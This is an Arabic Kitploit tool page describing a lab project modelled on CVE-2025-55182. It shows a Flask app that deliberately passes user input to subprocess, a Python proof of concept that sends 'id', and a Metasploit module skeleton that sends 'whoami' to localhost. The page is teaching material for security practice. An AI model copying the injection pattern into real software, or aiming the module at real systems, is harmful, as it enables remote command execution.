Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-55182-Metasploit-exploit-skeleton-real-flow- — فيما يلي خطة LAB الكاملة: demo-vulnerable app → Python PoC → Metasploit exploit skeleton | Kitploit
أدوات/GitHubGitHub/nulltrace1336/cve-2025-55182-metasploit-exploit-skeleton-real-flow-
أطر الاستغلالتحليل الثغرات الأمنيةاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولاتمختبرات وتدريب عملي
GitHubnulltrace1336/cve-2025-55182-metasploit-exploit-skeleton-real-flow-

CVE-2025-55182-Metasploit-exploit-skeleton-real-flow-

فيما يلي خطة LAB الكاملة: demo-vulnerable app → Python PoC → Metasploit exploit skeleton

عرض المستودع
2منذ 8 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

🧪 الخطوة 1: تطبيق ويب ضعيف للتجربة (LAB)

سننشئ منطقًا مشابهًا لـ CVE-2025-55182 (تنفيذ غير آمن من جهة الخادم).

📁 vuln_app/app.py

root@kitploit:~
from flask import Flask, request
import subprocess

app = Flask(__name__)

@app.route("/render", methods=["POST"])
def render():
    data = request.json.get("component")

    # ❌ VULNERABLE: user input to command execution
    result = subprocess.getoutput(data)
    return result

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=3000)

التشغيل:

root@kitploit:~
pip install flask
python app.py

📌 هذا مشابه لـ React2Shell:

إدخال من جهة الخادم → تنفيذ

🧪 الخطوة 2: PoC بلغة Python (استغلال اختباري)

هذا فقط لإثبات وجود RCE.

📁 poc.py

root@kitploit:~
import requests

url = "http://127.0.0.1:3000/render"

payload = {
    "component": "id"
}

r = requests.post(url, json=payload)
print("[+] Server response:")
print(r.text)

إذا كان الناتج:

root@kitploit:~
uid=1000(user) gid=1000(user)

✅ تم تأكيد RCE (المختبر)

🧠 الخطوة 3: الهيكل الأساسي (Skeleton) لاستغلال Metasploit

هذا تنسيق إطار عمل احترافي، لكنه غير مُسلّح.

📁 الموقع

root@kitploit:~
~/.msf4/modules/exploits/linux/http/lab_react_like_rce.rb

📄 lab_react_like_rce.rb

root@kitploit:~
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'LAB React-like Server RCE',
      'Description' => %q{
        Demonstration exploit for unsafe server-side execution.
        Tested only in a controlled lab environment.
      },
      'Author'      => ['Behruz'],
      'License'     => MSF_LICENSE,
      'Platform'    => ['linux'],
      'Arch'        => ARCH_CMD,
      'Targets'     => [['Automatic', {}]],
      'DisclosureDate' => '2025-01-01',
      'DefaultTarget'  => 0
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'Vulnerable endpoint', '/render'])
    ])
  end

  def exploit
    print_status("Sending lab command execution request")

    send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path),
      'ctype'  => 'application/json',
      'data'   => {
        'component' => 'whoami'
      }.to_json
    })

    print_good("Request sent (LAB validation only)")
  end
end

الاستخدام:

root@kitploit:~
msfconsole
use exploit/linux/http/lab_react_like_rce
set RHOSTS 127.0.0.1
run

📌 هنا:

❌ لا يوجد reverse shell

✅ توجد معرفة بإطار العمل + منطق الاستغلال

📁 الخطوة 4: هيكل المحفظة (مهم)

على GitHub يجب أن يظهر هكذا:

root@kitploit:~
lab-react-like-rce/
 ├─ vuln_app/
 │   └─ app.py
 ├─ poc/
 │   └─ poc.py
 ├─ metasploit/
 │   └─ lab_react_like_rce.rb
 ├─ README.md

📝 الخطوة 5: هكذا يُكتب في README

root@kitploit:~
## Description
This project demonstrates a lab-based server-side code execution
vulnerability inspired by modern RCE CVEs.

## Scope
- Tested only in a controlled lab environment
- No real-world systems were targeted

## Skills Demonstrated
- Vulnerability analysis
- Python PoC development
- Custom Metasploit module creation
تنزيل الأداة